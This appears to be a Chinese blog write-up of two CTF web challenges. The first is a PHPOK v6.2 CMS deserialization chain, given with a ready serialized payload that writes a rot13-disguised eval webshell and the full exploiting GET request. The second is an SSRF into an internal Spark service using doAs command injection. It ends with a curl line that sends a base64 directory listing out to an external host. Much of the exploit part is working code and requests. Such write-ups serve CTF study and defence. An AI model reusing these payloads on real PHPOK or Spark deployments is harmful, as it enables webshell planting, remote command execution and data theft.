NS - QWB FINAL && WMCTF WEB

审审PHP

QWB FINAL - CMS (PHPOK v6.2)

上次审计PHP还是在大二,换了电脑后也一直没有配置xdebug环境,导致当天只能硬着头皮看代码,看了一天后入口和出口都找到了,可惜没法debug不知道函数和参数的情况,加之对一些函数敏感度不够,错过了。今天就专门抽了一下午时间来配置环境和debug这个洞

环境配置

环境配置有点折腾人,因为给了dockerfile,但m1pro有点搞,所以记录下踩的坑。

首先,官方给的Dockerfile,在此基础上添加php7.2-xdebug进行安装

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
FROM ubuntu:18.04

ENV DEBIAN_FRONTEND noninteractive

COPY sources.list /etc/apt/sources.list

RUN apt-get update && apt-get install apache2 -y
COPY apache2.conf /etc/apache2/apache2.conf
COPY smity2.tar.gz /root/smity2.tar.gz
COPY flag /flaaaaaaggggggggggg
COPY study.sql /root/study.sql

RUN apt-get update
RUN apt-get install -y mariadb-server mariadb-client unzip software-properties-common php7.2 php7.2-xml php7.2-mysqli php7.2-xmlrpc php7.2-soap php7.2-intl php7.2-gd php7.2-zip php7.2-mbstring libapache2-mod-php php-xml php-xmlrpc php-soap php-intl php-gd php-zip php-mbstring unzip php7.2-xdebug vim

RUN groupadd www \
&& useradd --shell /sbin/nologin -g www www \
&& rm -rf /var/www/html/* \
&& tar zxvf /root/smity2.tar.gz -C / \
&& chmod 755 -R /var/www/html \
&& chmod 777 -R /var/www/html/_* \
&& chmod 777 -R /var/www/html/task/ \
&& service mysql start \
&& mysql -uroot -proot -e "create user phpok identified by 'phpok';" \
&& mysql -uroot -proot -e "create database phpok;use phpok;source /root/study.sql;" \
&& mysql -uroot -proot -e "grant all on phpok.* to phpok@'localhost' identified by 'phpok' with grant option;" \
&& mysql -uroot -proot -e "flush privileges;" \
&& rm -rf /var/lib/apt/lists/* \
&& chmod 644 /flaaaaaaggggggggggg \
&& a2enmod rewrite \
&& service apache2 restart

ENTRYPOINT service apache2 restart && service mysql restart && sh

替换source.list为arm64用的,需要对应上ubuntu版本,这里是18.04特有,别的会报错(实测)

1
2
3
4
5
6
7
8
deb http://mirrors.ustc.edu.cn/ubuntu-ports/ bionic-updates main restricted universe multiverse
deb-src http://mirrors.ustc.edu.cn/ubuntu-ports/ bionic-updates main restricted universe multiverse
deb http://mirrors.ustc.edu.cn/ubuntu-ports/ bionic-security main restricted universe multiverse
deb-src http://mirrors.ustc.edu.cn/ubuntu-ports/ bionic-security main restricted universe multiverse
deb http://mirrors.ustc.edu.cn/ubuntu-ports/ bionic-backports main restricted universe multiverse
deb-src http://mirrors.ustc.edu.cn/ubuntu-ports/ bionic-backports main restricted universe multiverse
deb http://mirrors.ustc.edu.cn/ubuntu-ports/ bionic main universe restricted
deb-src http://mirrors.ustc.edu.cn/ubuntu-ports/ bionic main universe restricted

然后配置docker-compose方便启动,需要注意环境的php.ini是要替换apache2目录的而非cli目录的,同时留意不需要映射9000

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
version: '3'
services:
myimg:
image: myimg:0.1
build:
context: .
dockerfile: Dockerfile
ports:
- 8081:80
# - 9000:9000
volumes:
- ./var/www/html/:/var/www/html/
- ./php.ini:/etc/php/7.2/apache2/php.ini
stdin_open: true
tty: true

最后就是在php.ini中追加xdebug的参数,这里是在网上找的基础上改的,但是原版里面有一行用#注释的内容,在vscode里看起来一点毛病也没有,但是解析php.ini时会出错,但是对于apache2的重启没有任何影响(后续通过/var/log相关日志排查出来的),在这里踩了坑,需留意

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[xdebug]
zend_extension="/usr/lib/php/20170718/xdebug.so"
xdebug.remote_handler="dbgp"

xdebug.remote_host="192.168.xx.xx"
xdebug.remote_port="9000"
xdebug.remote_log="/var/log/php/xdebug.log"
xdebug.remote_enable=1
xdebug.idekey="outx"

;启用代码自动跟踪
xdebug.auto_trace = On
;启用性能检测分析
xdebug.profiler_enable = On
xdebug.profiler_enable_trigger = On
xdebug.profiler_output_name = "profiler.out.%t.%p"

EXP

根据周末硬看了一天的成果,pop链是现成的,利用framework/engine/cache.php中的cache类,留意析构方法和save方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public function __destruct()
{
//echo "<pre>".print_r($this->key_list,true)."</pre>";
//echo "<pre>".print_r(count($this->key_list),true)."</pre>";
$this->save($this->key_id,$this->key_list);
$this->expired();
}

public function save($id,$content='')
{
if(!$id || $content === '' || !$this->status){
return false;
}
$this->_time();
$content = serialize($content);
$file = $this->folder.$id.".php";
file_put_contents($file,'<?php exit();?>'.$content);
$this->_time();
$this->_count();
return true;
}

当时为什么找到这个地方呢,就是从file_put_contents这个sink点搜过来的,然后确定了这个链是可以打反序列化的,这里可以用php://filter绕过这个exit

构造class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class cache
{
protected $timeout = 1800;
protected $status = true;
protected $prefix = 'qinggan_';
protected $keyfile = '';
protected $folder = 'php://filter/string.rot13/resource=/var/www/html/_cache/';
protected $key_id = 'outx';
protected $key_list = '<?cuc riny($_CBFG[\'bhgk\']);?>';
protected $debug = false;
protected $time;
//
private $time_use = 0;
private $time_tmp = 0;
private $count = 0;
}
echo(urlencode(urlencode(serialize(new cache())))); // 两次编码主要是为了第一次传递进去不影响后续解析

O%253A5%253A%2522cache%2522%253A12%253A%257Bs%253A10%253A%2522%2500%252A%2500timeout%2522%253Bi%253A1800%253Bs%253A9%253A%2522%2500%252A%2500status%2522%253Bb%253A1%253Bs%253A9%253A%2522%2500%252A%2500prefix%2522%253Bs%253A8%253A%2522qinggan_%2522%253Bs%253A10%253A%2522%2500%252A%2500keyfile%2522%253Bs%253A0%253A%2522%2522%253Bs%253A9%253A%2522%2500%252A%2500folder%2522%253Bs%253A56%253A%2522php%253A%252F%252Ffilter%252Fstring.rot13%252Fresource%253D%252Fvar%252Fwww%252Fhtml%252F_cache%252F%2522%253Bs%253A9%253A%2522%2500%252A%2500key_id%2522%253Bs%253A4%253A%2522outx%2522%253Bs%253A11%253A%2522%2500%252A%2500key_list%2522%253Bs%253A29%253A%2522%253C%253Fcuc%2Briny%2528%2524_CBFG%255B%2527bhgk%2527%255D%2529%253B%253F%253E%2522%253Bs%253A8%253A%2522%2500%252A%2500debug%2522%253Bb%253A0%253Bs%253A7%253A%2522%2500%252A%2500time%2522%253BN%253Bs%253A15%253A%2522%2500cache%2500time_use%2522%253Bi%253A0%253Bs%253A15%253A%2522%2500cache%2500time_tmp%2522%253Bi%253A0%253Bs%253A12%253A%2522%2500cache%2500count%2522%253Bi%253A0%253B%257D

burp

1
GET /api.php?c=call&f=index&data={%22m_picplayer%22:%220%26type_id%3Dformat_ext_all%26x%5Bform_type%5D%3Durl%26x%5Bcontent]=O%253A5%253A%2522cache%2522%253A12%253A%257Bs%253A10%253A%2522%2500%252A%2500timeout%2522%253Bi%253A1800%253Bs%253A9%253A%2522%2500%252A%2500status%2522%253Bb%253A1%253Bs%253A9%253A%2522%2500%252A%2500prefix%2522%253Bs%253A8%253A%2522qinggan_%2522%253Bs%253A10%253A%2522%2500%252A%2500keyfile%2522%253Bs%253A0%253A%2522%2522%253Bs%253A9%253A%2522%2500%252A%2500folder%2522%253Bs%253A56%253A%2522php%253A%252F%252Ffilter%252Fstring.rot13%252Fresource%253D%252Fvar%252Fwww%252Fhtml%252F_cache%252F%2522%253Bs%253A9%253A%2522%2500%252A%2500key_id%2522%253Bs%253A4%253A%2522outx%2522%253Bs%253A11%253A%2522%2500%252A%2500key_list%2522%253Bs%253A29%253A%2522%253C%253Fcuc%2Briny%2528%2524_CBFG%255B%2527bhgk%2527%255D%2529%253B%253F%253E%2522%253Bs%253A8%253A%2522%2500%252A%2500debug%2522%253Bb%253A0%253Bs%253A7%253A%2522%2500%252A%2500time%2522%253BN%253Bs%253A15%253A%2522%2500cache%2500time_use%2522%253Bi%253A0%253Bs%253A15%253A%2522%2500cache%2500time_tmp%2522%253Bi%253A0%253Bs%253A12%253A%2522%2500cache%2500count%2522%253Bi%253A0%253B%257D%22} HTTP/1.1

Track It

接下来就一步一步从source到sink点分析

framework/api/call_control.php#index_f(),对应到URL则是api.php?c=call&f=index,中间参数写到注释中了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
public function index_f()
{
$data = $this->get('data','html');
...
if(substr($data,0,1) == '{'){
$data = $this->lib('json')->decode(stripslashes($data)); //解析json,写成键值对
if($data){
$data = $this->format($data);
}
}else{
...
}
//基于接口禁用SQL
$is_error = false;
foreach($data as $key=>$value){
if(isset($value['type_id'])){ //$key = "m_picplayer" $value="0&type_id=format_ext_all...."
$is_error = true;
break;
}
}
if($is_error){
$this->error(P_Lang('系统禁止改写类型参数'));
}

$call_all = $this->model('call')->all($this->site['id'],'identifier');
$is_ok = false;
$rslist = array();
foreach($data as $key=>$value){
//检查系统是否有开放SQL调用
...
//明文传输将禁用sqlext和sqlinfo
if(isset($value['sqlext'])){
unset($value['sqlext']);
}
if(isset($value['sqlinfo'])){
unset($value['sqlinfo']);
}
if($call_all && $call_all[$key] && $call_all[$key]['is_api']){ // $call_all[$key]['is_api'] = 1
$tmpValue = $value;
$fid = $key;
..
$rslist[$fid] = phpok($key,$tmpValue); // 关键点 -> framework/phpok_tpl_helper.php
$is_ok = true;
}else{
...
}
}
...
}

framework/phpok_tpl_helper.php#phpok($id='',$ext="")

1
2
3
4
5
6
7
8
9
function phpok($id='',$ext="") // $ext="0&type_id=format_ext_all...." $id="m_picplayer"
{
...
$count = func_num_args();
if($count<=2){
return $GLOBALS['app']->call->phpok($id,$ext); // 关键 -> framework/phpok_call.php
}
...
}

framework/phpok_call.php#phpok($id,$rs="")

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public function phpok($id,$rs="")
{
...
//格式化参数
if($rs && is_string($rs)){
parse_str($rs,$rs); //parse_str 将字符串解析成多个变量
}
...
// 向$rs中添加了两个字段site和_baseurl
if(substr($id,0,1) != '_'){
$call_rs = $this->load_phpoklist($id,$rs['site']); // 从$id=m_picplayer中获取信息
...
if($rs && is_array($rs)){
$call_rs = array_merge($call_rs,$rs); // 后面的值覆盖前面的,关键点,利用$rs中的type_id覆盖掉$call_rs的
}
}else{
...
}
$func = '_'.$call_rs['type_id'];
if(!in_array($func,$this->mlist)){ // $this-mlist可用_format_ext_all打反序列化和_sql打任意sql注入然后在别处触发反序列化
return false;
}
...
return $this->$func($call_rs,$cache_id); 关键点 $func = _format_ext_all -> framework/phpok_call.php $call_rs['x']是我们控制的反序列化数据
}

framework/phpok_call.php#_format_ext_all($rslist)

1
2
3
4
5
6
7
8
private function _format_ext_all($rslist)
{
$res = '';
foreach($rslist as $key=>$value){ $value为我们设置的x时
if($value['form_type'] == 'url' && $value['content']){
$value['content'] = unserialize($value['content']); //触发反序列化
...
}

总结

到这里,这个洞跟完了,实际上并不复杂,可惜当时没有环境能看看处理流程,不然感觉自己应该可以完成这个0day的审计的!不过一切都在变好,继续努力😄

WMCTF - JAVA

懒,就写在这里了,精力都给qwb了,只做了一道web

思路

给了个任意文件读取,但是这个任意文件读取可以列目录,比较神奇,读了Java的目录,没有什么有意思的东西,但是在读环境变量的时候翻到了一些k8s的配置,就在想是不是要ssrf打内网。

读取/proc/self/cwd目录时有很多tomcat的日志,在catalina的日志中翻到了一些遗落信息,比如打了10.244.0.160:8080这种,于是放开手扫这个c段(其实按理说应该是翻到配置,有个10段的内网地址,然后扫b段的,这里取巧了,因为看题的时候已经很迟了),然后扫到了spark

在ssrf点过滤了反引号,反引号的url编码,反引号url编码的url编码,搜了下这个洞,触发点在doAs参数,这个参数直接合并到/bin/bash -c "id -Gn 参数"中,命令拼接一下就行,于是在vps上监听,用;做一下分割就可以(注意payload需要两次url编码,一次是ssrf二次是内网web服务),payload如下

image-20220822191901305

这里环境比较坑,我在美丽国的vps收不到,但是国内的vps点击就上,当时折腾了好久,记录下curl外带

1
;curl -d "x=$(ls /|base64)" http://8.8.8.8